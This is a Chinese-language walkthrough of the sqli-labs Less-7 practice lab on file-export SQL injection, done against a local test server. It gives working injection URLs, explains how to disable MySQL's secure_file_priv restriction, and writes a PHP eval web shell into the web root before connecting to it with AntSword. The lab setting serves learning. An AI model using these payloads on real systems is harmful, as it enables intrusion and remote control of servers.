Less-7 GET - Dump into outfile - String (导出文件GET字符型注入)
导出到文件就是可以将查询结果导出到一个文件中,如常见的将一句话木马导出到一个php文件中,常用的语句是:select “<?php @eval($_POST['giantbranch']);?>” into outfile “XXX\test.php”,但这里要获取到网站的在系统中的具体路径(绝对路径)
load_file() 读取本地文件
into outfile 写入文件,文件路径需要用双斜线
猜解漏洞类型:
分别尝试:
id=1,正常
id=1’,报错
id=1",正常
id=1’),报错
id=1’)),正常
初步尝试用1’))进行注入
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) order by 3 --+, 显示正常。
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) order by 4 --+, 显示有语法错误,说明该表数据仅有3列。
根据数据表内有3列数据,可以通过union注入查询数据库信息。
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) union select 1,2,3 --+, 显示正常
那么url可以改为:
http://192.168.200.174/sqli-labs-master/Less-7/?id=1')) union select 1,database(),user() into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.txt' --+
select xxx into outfile ‘文件绝对路径’ 可以将查询到的数据库信息写入到文件中
刚开始始终无法导出文件,是因为secure_file_priv参数限制,我们的mysql有一个secure_file_priv参数限制load data,select … into outfile,load_file()传到那个指定目录的,其权限分为以下三种:
secure_file_prive=null,表示限制mysqld,不允许导入导出;
secure_file_priv=/var/lib/mysql-files/ 限制mysqld的导入导出只能发生在/var/lib/mysql-files/目录下;
secure_file_priv没有具体值时,表示不对mysqld的导入导出做限制。
而我们当前的情况是null,所以需要进入D:\phpstudy_pro\Extensions\MySQL5.7.26\my.ini配置文件添加secure_file_priv="/",保存后重启mysql。
重启后,再次输入上面的url,界面上仍然报错:
但进入文件路径,可以发现已经生成了test.txt文件,内容即查询的数据库当前用户、数据库名称等信息。
将一句话木马写入文件中:
http://192.168.200.174/sqli-labs-master/Less-1/?id=-1')) union select 1,2,'<?php @eval($_POST['mmye']);?>' into outfile 'D:\\phpstudy_pro\\WWW\\sqli-labs-master\\Less-7\\test.php' --+
用中国蚁剑进行连接,成功连接,可以进行文件管理。